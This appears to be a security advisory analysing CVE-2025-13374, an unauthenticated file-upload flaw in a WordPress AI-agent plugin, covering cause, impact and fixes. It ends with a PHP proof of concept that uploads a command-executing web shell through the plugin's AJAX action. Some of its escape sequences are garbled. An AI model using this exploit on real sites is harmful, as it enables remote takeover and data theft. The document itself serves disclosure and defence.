Atomic Edge analysis of CVE-2025-13374 (metadata-based):
This vulnerability is an unauthenticated arbitrary file upload in the Kalrav AI Agent WordPress plugin. The flaw resides in the `kalrav_upload_file` AJAX action handler. Attackers can upload files without authentication, leading to a critical severity remote code execution risk.
Atomic Edge research identifies the root cause as CWE-434, Unrestricted Upload of File with Dangerous Type. The vulnerability description confirms missing file type validation. This indicates the AJAX handler likely accepts uploads via `$_FILES` without checking the file extension or MIME type. The handler also lacks a capability check, making it accessible to unauthenticated users. These conclusions are inferred from the CWE classification and standard WordPress plugin patterns, as no source code diff is available for confirmation.
Exploitation involves sending a POST request to the WordPress AJAX endpoint. The attacker targets `/wp-admin/admin-ajax.php` with the `action` parameter set to `kalrav_upload_file`. The request includes a file upload parameter, likely named `file` based on the action name. An attacker would upload a file with a `.php` extension containing malicious code. The server may save this file within the WordPress uploads directory or plugin folder, enabling direct access and code execution.
Remediation requires implementing multiple security controls. The plugin must add a capability check, such as `current_user_can(‘manage_options’)`, to restrict the AJAX action to authorized users. File validation must include checking both the file extension against an allowlist (e.g., `.jpg`, `.png`, `.pdf`) and the actual MIME type. The plugin should also use WordPress functions like `wp_check_filetype_and_ext` and store uploaded files outside the web root or with appropriate `.htaccess` restrictions.
The impact of successful exploitation is severe. Attackers achieve remote code execution with the privileges of the web server user. This allows complete compromise of the WordPress site and potentially the underlying server. Attackers can deface the site, steal data, install backdoors, or pivot to internal networks. The CVSS score of 9.8 reflects the attack’s network accessibility, low complexity, and high impact on confidentiality, integrity, and availability.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-13374 - Kalrav AI Agent <= 2.3.3 - Unauthenticated Arbitrary File Upload via kalrav_upload_file AJAX Action
<?php
$target_url = 'http://example.com/wp-admin/admin-ajax.php';
// Create a malicious PHP payload file
$php_payload = "<?php echo 'Atomic Edge RCE Test'; if(isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); } ?>n";
$temp_file = tempnam(sys_get_temp_dir(), 'kalu');
file_put_contents($temp_file, $php_payload);
// Prepare the POST request with the file upload
$post_fields = [
'action' => 'kalrav_upload_file'
// The file field name is assumed; actual parameter may vary.
];
$file_field = [
// Common WordPress file upload parameter names include 'file', 'upload_file', or 'kalrav_file'.
// This PoC uses 'file' as the most likely candidate.
'file' => new CURLFile($temp_file, 'application/x-php', 'shell.php')
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, array_merge($post_fields, $file_field));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Bypass SSL verification for testing environments
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Clean up the temporary file
unlink($temp_file);
// Output the result
if ($http_code == 200) {
echo "Request sent. Check response for upload success.n";
echo "Response: " . htmlspecialchars(substr($response, 0, 500)) . "n";
echo "If successful, the uploaded shell may be accessible at a path returned in the response.n";
} else {
echo "Request failed with HTTP code: $http_coden";
}
?>
